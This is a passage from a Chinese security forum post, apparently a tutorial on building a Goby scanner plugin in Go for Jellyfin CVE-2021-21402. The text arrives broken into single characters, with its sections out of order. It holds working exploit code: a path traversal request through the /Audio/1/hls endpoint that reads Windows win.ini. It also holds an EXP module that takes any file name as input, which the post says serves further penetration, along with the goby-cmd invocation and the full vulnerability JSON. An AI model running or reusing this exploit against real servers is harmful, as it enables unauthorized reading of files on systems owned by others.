为
漏
洞
存
在
。
E
x
p
M
a
n
a
g
e
r
.
A
d
d
E
x
p
l
o
i
t
(
N
e
w
E
x
p
l
o
i
t
(
g
o
u
t
i
l
s
.
G
e
t
F
i
l
e
N
a
m
e
(
)
,
e
x
p
J
s
o
n
,
f
u
n
c
(
e
x
p
*
j
s
o
n
v
u
l
.
J
s
o
n
V
u
l
,
u
*
h
t
t
p
c
l
i
e
n
t
.
F
i
x
U
r
l
,
s
s
*
s
c
a
n
c
o
n
f
i
g
.
S
i
n
g
l
e
S
c
a
n
C
o
n
f
i
g
)
b
o
o
l
{
r
e
t
u
r
n
f
a
l
s
e
}
,
f
u
n
c
(
e
x
p
R
e
s
u
l
t
*
j
s
o
n
v
u
l
.
E
x
p
l
o
i
t
R
e
s
u
l
t
,
s
s
*
s
c
a
n
c
o
n
f
i
g
.
S
i
n
g
l
e
S
c
a
n
C
o
n
f
i
g
)
*
j
s
o
n
v
u
l
.
E
x
p
l
o
i
t
R
e
s
u
l
t
{
r
e
t
u
r
n
e
x
p
R
e
s
u
l
t
}
,
)
)
f
u
n
c
(
e
x
p
*
j
s
o
n
v
u
l
.
J
s
o
n
V
u
l
,
u
*
h
t
t
p
c
l
i
e
n
t
.
F
i
x
U
r
l
,
s
s
*
s
c
a
n
c
o
n
f
i
g
.
S
i
n
g
l
e
S
c
a
n
C
o
n
f
i
g
)
b
o
o
l
{
u
r
i
:
=
"
/
A
u
d
i
o
/
1
/
h
l
s
/
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
W
i
n
d
o
w
s
%
5
C
w
i
n
.
i
n
i
/
s
t
r
e
a
m
.
m
p
3
/
"
c
f
g
:
=
h
t
t
p
c
l
i
e
n
t
.
N
e
w
G
e
t
R
e
q
u
e
s
t
C
o
n
f
i
g
(
u
r
i
)
c
f
g
.
V
e
r
i
f
y
T
l
s
=
f
a
l
s
e
c
f
g
.
F
o
l
l
o
w
R
e
d
i
r
e
c
t
=
f
a
l
s
e
c
f
g
.
H
e
a
d
e
r
.
S
t
o
r
e
(
"
C
o
n
t
e
n
t
-
t
y
p
e
"
,
"
a
p
p
l
i
c
a
t
i
o
n
/
x
-
w
w
w
-
f
o
r
m
-
u
r
l
e
n
c
o
d
e
d
"
)
i
f
r
e
s
p
,
e
r
r
:
=
h
t
t
p
c
l
i
e
n
t
.
D
o
H
t
t
p
R
e
q
u
e
s
t
(
u
,
c
f
g
)
;
e
r
r
=
=
n
i
l
{
r
e
t
u
r
n
r
e
s
p
.
S
t
a
t
u
s
C
o
d
e
=
=
2
0
0
&
&
s
t
r
i
n
g
s
.
C
o
n
t
a
i
n
s
(
r
e
s
p
.
U
t
f
8
H
t
m
l
,
"
[
e
x
t
e
n
s
i
o
n
s
]
"
)
&
&
s
t
r
i
n
g
s
.
C
o
n
t
a
i
n
s
(
r
e
s
p
.
U
t
f
8
H
t
m
l
,
"
[
f
o
n
t
s
]
"
)
}
r
e
t
u
r
n
f
a
l
s
e
}
,
r
e
t
u
r
n
r
e
s
p
.
S
t
a
t
u
s
C
o
d
e
=
=
2
0
0
&
&
s
t
r
i
n
g
s
.
C
o
n
t
a
i
n
s
(
r
e
s
p
.
U
t
f
8
H
t
m
l
,
"
[
e
x
t
e
n
s
i
o
n
s
]
"
)
&
&
s
t
r
i
n
g
s
.
C
o
n
t
a
i
n
s
(
r
e
s
p
.
U
t
f
8
H
t
m
l
,
"
[
f
o
n
t
s
]
"
)
g
o
b
y
-
c
m
d
.
e
x
e
-
m
o
d
e
r
u
n
p
o
c
-
o
p
e
r
a
t
i
o
n
s
c
a
n
-
p
o
c
F
i
l
e
e
x
p
l
o
i
t
s
u
s
e
r
J
e
l
l
y
f
i
n
_
A
u
d
i
o
_
F
i
l
e
_
r
e
a
d
_
C
V
E
_
2
0
2
1
_
2
1
4
0
2
.
g
o
-
t
a
r
g
e
t
h
t
t
p
:
/
/
x
x
x
.
x
x
x
.
x
x
x
.
x
x
x
这
里
我
们
已
经
完
成
了
P
o
C
字
段
已
经
可
以
用
于
目
标
的
扫
描
并
测
试
出
漏
洞
,
但
是
我
们
需
要
开
启
E
X
P
模
块
,
一
方
面
是
通
过
验
证
防
止
误
报
的
情
况
,
另
一
方
面
是
方
便
自
身
对
目
标
进
一
步
渗
透
,
首
先
需
要
将
H
a
s
E
x
p
设
置
为
t
r
u
e
就
可
以
开
启
G
o
b
y
的
E
X
P
验
证
模
式
。
这
里
通
过
已
经
填
写
好
的
E
X
P
来
了
解
参
数
字
段
。
名
称
名
称
含
义
含
义
H
a
s
E
x
p
设
置
为
t
r
u
e
则
为
开
启
E
X
P
模
块
"
t
y
p
e
"
:
"
i
n
p
u
t
"
用
户
手
动
输
出
p
a
y
l
o
a
d
"
t
y
p
e
"
:
"
s
e
l
e
c
t
"
用
户
允
许
在
几
个
选
择
中
发
送
特
定
的
p
a
y
l
o
a
d
"
v
a
l
u
e
"
:
"
w
i
n
d
o
w
s
/
w
i
n
.
i
n
i
"
E
X
P
验
证
中
的
默
认
字
段
设
置
名
称
名
称
含
义
含
义
f
i
l
e
:
=
s
s
.
P
a
r
a
m
s
[
"
F
i
l
e
"
]
.
(
s
t
r
i
n
g
)
获
取
F
i
l
e
参
数
的
字
段
f
i
l
e
=
u
r
l
.
Q
u
e
r
y
E
s
c
a
p
e
(
f
i
l
e
)
U
r
l
编
码
字
符
f
m
t
.
P
r
i
n
t
l
n
(
f
i
l
e
)
编
写
中
用
于
调
试
脚
本
输
出
字
符
,
完
成
后
删
除
h
t
t
p
c
l
i
e
n
t
.
D
o
H
t
t
p
R
e
q
u
e
s
t
(
e
x
p
R
e
s
u
l
t
.
H
o
s
t
I
n
f
o
,
c
f
g
)
发
送
E
X
P
请
求
包
e
x
p
R
e
s
u
l
t
.
O
u
t
p
u
t
=
r
e
s
p
.
U
t
f
8
H
t
m
l
返
回
响
应
内
容
e
x
p
R
e
s
u
l
t
.
S
u
c
c
e
s
s
=
t
r
u
e
表
示
成
功
验
证
漏
洞
完
成
后
测
试
,
查
看
目
标
是
否
成
功
执
行
E
X
P
读
取
w
i
n
d
o
w
s
/
w
i
n
.
i
n
i
文
件
。
完
整
的
E
X
P
如
下
:
g
o
b
y
-
c
m
d
.
e
x
e
-
m
o
d
e
r
u
n
p
o
c
-
o
p
e
r
a
t
i
o
n
s
c
a
n
-
p
o
c
F
i
l
e
e
x
p
l
o
i
t
s
u
s
e
r
J
e
l
l
y
f
i
n
_
A
u
d
i
o
_
F
i
l
e
_
r
e
a
d
_
C
V
E
_
2
0
2
1
_
2
1
4
0
2
.
g
o
-
t
a
r
g
e
t
h
t
t
p
:
/
/
x
x
x
.
x
x
x
.
x
x
x
.
x
x
x
"
H
a
s
E
x
p
"
:
t
r
u
e
,
"
E
x
p
P
a
r
a
m
s
"
:
[
{
"
n
a
m
e
"
:
"
F
i
l
e
"
,
"
t
y
p
e
"
:
"
i
n
p
u
t
"
,
"
v
a
l
u
e
"
:
"
w
i
n
d
o
w
s
/
w
i
n
.
i
n
i
"
}
]
,
f
u
n
c
(
e
x
p
R
e
s
u
l
t
*
j
s
o
n
v
u
l
.
E
x
p
l
o
i
t
R
e
s
u
l
t
,
s
s
*
s
c
a
n
c
o
n
f
i
g
.
S
i
n
g
l
e
S
c
a
n
C
o
n
f
i
g
)
*
j
s
o
n
v
u
l
.
E
x
p
l
o
i
t
R
e
s
u
l
t
{
f
i
l
e
:
=
s
s
.
P
a
r
a
m
s
[
"
F
i
l
e
"
]
.
(
s
t
r
i
n
g
)
f
i
l
e
=
s
t
r
i
n
g
s
.
R
e
p
l
a
c
e
(
f
i
l
e
,
"
/
"
,
"
"
,
-
1
)
f
i
l
e
=
u
r
l
.
Q
u
e
r
y
E
s
c
a
p
e
(
f
i
l
e
)
u
r
i
:
=
"
/
A
u
d
i
o
/
1
/
h
l
s
/
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
.
.
%
5
C
"
+
f
i
l
e
+
"
/
s
t
r
e
a
m
.
m
p
3
/
"
c
f
g
:
=
h
t
t
p
c
l
i
e
n
t
.
N
e
w
G
e
t
R
e
q
u
e
s
t
C
o
n
f
i
g
(
u
r
i
)
c
f
g
.
V
e
r
i
f
y
T
l
s
=
f
a
l
s
e
c
f
g
.
F
o
l
l
o
w
R
e
d
i
r
e
c
t
=
f
a
l
s
e
c
f
g
.
H
e
a
d
e
r
.
S
t
o
r
e
(
"
C
o
n
t
e
n
t
-
t
y
p
e
"
,
"
a
p
p
l
i
c
a
t
i
o
n
/
x
-
w
w
w
-
f
o
r
m
-
u
r
l
e
n
c
o
d
e
d
"
)
i
f
r
e
s
p
,
e
r
r
:
=
h
t
t
p
c
l
i
e
n
t
.
D
o
H
t
t
p
R
e
q
u
e
s
t
(
e
x
p
R
e
s
u
l
t
.
H
o
s
t
I
n
f
o
,
c
f
g
)
;
e
r
r
=
=
n
i
l
{
i
f
r
e
s
p
.
S
t
a
t
u
s
C
o
d
e
=
=
2
0
0
{
e
x
p
R
e
s
u
l
t
.
O
u
t
p
u
t
=
r
e
s
p
.
U
t
f
8
H
t
m
l
e
x
p
R
e
s
u
l
t
.
S
u
c
c
e
s
s
=
t
r
u
e
}
}
r
e
t
u
r
n
e
x
p
R
e
s
u
l
t
}
,
/
/
注
意
一
些
模
块
导
入
时
需
要
在
i
m
p
o
r
t
中
添
加
相
应
的
包
/
/
"
n
e
t
/
u
r
l
"
U
r
l
编
码
/
/
"
s
t
r
i
n
g
s
"
字
符
处
理
/
/
"
f
m
t
"
字
符
输
出
/
/
"
r
e
g
e
x
p
"
正
则
匹
配
p
a
c
k
a
g
e
e
x
p
l
o
i
t
s
i
m
p
o
r
t
(
"
f
m
t
"
"
g
i
t
.
g
o
b
i
e
s
.
o
r
g
/
g
o
b
y
/
g
o
s
c
a
n
n
e
r
/
g
o
u
t
i
l
s
"
"
g
i
t
.
g
o
b
i
e
s
.
o
r
g
/
g
o
b
y
/
g
o
s
c
a
n
n
e
r
/
j
s
o
n
v
u
l
"
"
g
i
t
.
g
o
b
i
e
s
.
o
r
g
/
g
o
b
y
/
g
o
s
c
a
n
n
e
r
/
s
c
a
n
c
o
n
f
i
g
"
"
g
i
t
.
g
o
b
i
e
s
.
o
r
g
/
g
o
b
y
/
h
t
t
p
c
l
i
e
n
t
"
"
n
e
t
/
u
r
l
"
"
s
t
r
i
n
g
s
"
)
f
u
n
c
i
n
i
t
(
)
{
e
x
p
J
s
o
n
:
=
`
{
"
N
a
m
e
"
:
"
J
e
l
l
y
f
i
n
A
u
d
i
o
F
i
l
e
r
e
a
d
(
C
V
E
-
2
0
2
1
-
2
1
4
0
2
)
"
,
"
D
e
s
c
r
i
p
t
i
o
n
"
:
"
J
e
l
l
y
f
i
n
i
s
a
F
r
e
e
S
o
f
t
w
a
r
e
M
e
d
i
a
S
y
s
t
e
m
.
I
n
J
e
l
l
y
f
i
n
b
e
f
o
r
e
v
e
r
s
i
o
n
1
0
.
7
.
1
,
w
i
t
h
c
e
r
t
a
i
n
e
n
d
p
o
i
n
t
s
,
w
e
l
l
c
r
a
f
t
e
d
r
e
q
u
e
s
t
s
w
i
l
l
a
l
l
o
w
a
r
b
i
t
r
a
r
y
f
i
l
e
r
e
a
d
f
r
o
m
a
J
e
l
l
y
f
i
n
s
e
r
v
e
r
'
s
f
i
l
e
s
y
s
t
e
m
.
T
h
i
s
i
s
s
u
e
i
s
m
o
r
e
p
r
e
v
a
l
e
n
t
w
h
e
n
W
i
n
d
o
w
s
i
s
u
s
e
d
a
s
t
h
e
h
o
s
t
O
S
.
S
e
r
v
e
r
s
t
h
a
t
a
r
e
e
x
p
o
s
e
d
t
o
t
h
e
p
u
b
l
i
c
I
n
t
e
r
n
e
t
a
r
e
p
o
t
e
n
t
i
a
l
l
y
a
t
r
i
s
k
.
T
h
i
s
i
s
f
i
x
e
d
i
n
v
e
r
s
i
o
n
1
0
.
7
.
1
.
A
s
a
w
o
r
k
a
r
o
u
n
d
,
u
s
e
r
s
m
a
y
b
e
a
b
l
e
t
o
r
e
s
t
r
i
c
t
s
o
m
e
a
c
c
e
s
s
b
y
e
n
f
o
r
c
i
n
g
s
t
r
i
c
t
s
e
c
u
r
i
t
y
p
e
r
m
i
s
s
i
o
n
s
o
n
t
h
e
i
r
f
i
l
e
s
y
s
t
e
m
,
h
o
w
e
v
e
r
,
i
t
i
s
r
e
c
o
m
m
e
n
d
e
d
t
o
u
p
d
a
t
e
a
s
s
o
o
n
a
s
p
o
s
s
i
b
l
e
.
"
"
P
r
o
d
u
c
t
"
:
"
J
e
l
l
y
f
i
n
"
,
"
H
o
m
e
p
a
g
e
"
:
"
h
t
t
p
s
:
/
/
j
e
l
l
y
f
i
n
.
o
r
g
/
"
,
"
D
i
s
c
l
o
s
u
r
e
D
a
t
e
"
:
"
2
0
2
1
-
0
3
-
2
3
"
,
"
A
u
t
h
o
r
"
:
"
P
e
i
Q
i
"
,
"
G
o
b
y
Q
u
e
r
y
"
:
"
t
i
t
l
e
=
"
J
e
l
l
y
f
i
n
"
"
,
"
L
e
v
e
l
"
:
"
2
"
,
"
I
m
p
a
c
t
"
:
"
f
i
l
e
r
e
a
d
"
,
"
R
e
c
o
m
m
e
n
d
a
t
i
o
n
"
:
"
U
p
d
a
t
e
p
a
t
c
h
e
s
i
n
t
i
m
e
"
,
"
R
e
f
e
r
e
n
c
e
s
"
:
"
h
t
t
p
s
:
/
/
c
v
e
.
m
i
t
r
e
.
o
r
g
/
c
g
i
-
b
i
n
/
c
v
e
n
a
m
e
.
c
g
i
?
n
a
m
e
=
C
V
E
-
2
0
2
1
-
2
1
4
0
2
"
,
"
R
e
a
l
R
e
f
e
r
e
n
c
e
s
"
:
[
"
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
j
e
l
l
y
f
i
n
/
j
e
l
l
y
f
i
n
/
c
o
m
m
i
t
/
0
1
8
3
e
f
8
e
8
9
1
9
5
f
4
2
0
c
4
8
d
2
6
0
0
b
c
0
b
7
2
f
6
d
3
a
7
f
d
7
"
,
"
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
j
e
l
l
y
f
i
n
/
j
e
l
l
y
f
i
n
/
r
e
l
e
a
s
e
s
/
t
a
g
/
v
1
0
.
7
.
1
"
,
"
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
j
e
l
l
y
f
i
n
/
j
e
l
l
y
f
i
n
/
s
e
c
u
r
i
t
y
/
a
d
v
i
s
o
r
i
e
s
/
G
H
S
A
-
w
g
4
c
-
c
9
g
9
-
r
x
h
x
"
,
"
h
t
t
p
s
:
/
/
n
v
d
.
n
i
s
t
.
g
o
v
/
v
u
l
n
/
d
e
t
a
i
l
/
C
V
E
-
2
0
2
1
-
2
1
4
0
2
"
,
"
h
t
t
p
s
:
/
/
c
v
e
.
m
i
t
r
e
.
o
r
g
/
c
g
i
-
b
i
n
/
c
v
e
n
a
m
e
.
c
g
i
?
n
a
m
e
=
C
V
E
-
2
0
2
1
-
2
1
4
0
2
"
]
,
"
H
a
s
E
x
p
"
:
t
r
u
e
,
"
E
x
p
P
a
r
a
m
s
"
:
[
{
"
n
a
m
e
"
:
"
F
i
l
e
"
,
"
t
y
p
e
"
:
"
i
n
p
u
t
"
,
"
v
a
l
u
e
"
:
"
w
i
n
d
o
w
s
/
w
i
n
.
i
n
i
"
}
]
,
"
E
x
p
T
i
p
s
"
:
{
"
T
y
p
e
"
:
"
"
,
"
C
o
n
t
e
n
t
"
:
"
"
}
,
"
S
c
a
n
S
t
e
p
s
"
:
[
"
A
N
D
"
,
{
"
R
e
q
u
e
s
t
"
:
{
"
d
a
t
a
"
:
"
"
,
"
d
a
t
a
_
t
y
p
e
"
:
"
t
e
x
t
"
,
"
f
o
l
l
o
w
_
r
e
d
i
r
e
c
t
"
:
t
r
u
e
,
"
m
e
t
h
o
d
"
:
"
G
E
T
"
,
"
u
r
i
"
:
"
/
"
}
,
"
R
e
s
p
o
n
s
e
T
e
s
t
"
:
{
"
c
h
e
c
k
s
"
:
[
{
"
b
z
"
:
"
"
,
"
o
p
e
r
a
t
i
o
n
"
:
"
=
=
"
,
"
t
y
p
e
"
:
"
i
t
e
m
"
,
"
v
a
l
u
e
"
:
"
2
0
0
"
,
"
v
a
r
i
a
b
l
e
"
:
"
$
c
o
d
e
"
}
]
,
"
o
p
e
r
a
t
i
o
n
"
:
"
A
N
D
"
,
"
t
y
p
e
"
:
"
g
r
o
u
p
"
}
}
]
,
"
E
x
p
l
o
i
t
S
t
e
p
s
"
:
n
u
l
l
,
"
T
a
g
s
"
:
[
"
F
i
l
e
r
e
a
d
"
]
,
"
C
V
E
I
D
s
"
:
[
"
C
V
E
-
2
0
2
1
-
2
1
4
0
2
"
]
,
"
C
V
S
S
S
c
o
r
e
"
:
"
6
.
5
"
,
"
A
t
t
a
c
k
S
u
r
f
a
c
e
s
"
:
{
"
A
p
p
l
i
c
a
t
i
o
n
"
:
[
"
J
e
l
l
y
f
i
n
"
]
,
"
S
u
p
p
o
r
t
"
:
n
u
l
l
,
"
S
e
r
v
i
c
e
"
:
n
u
l
l
,
"
S
y
s
t
e
m
"
:
n
u
l
l
,
"
H
a
r
d
w
a
r
e
"
:
n
u
l
l
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页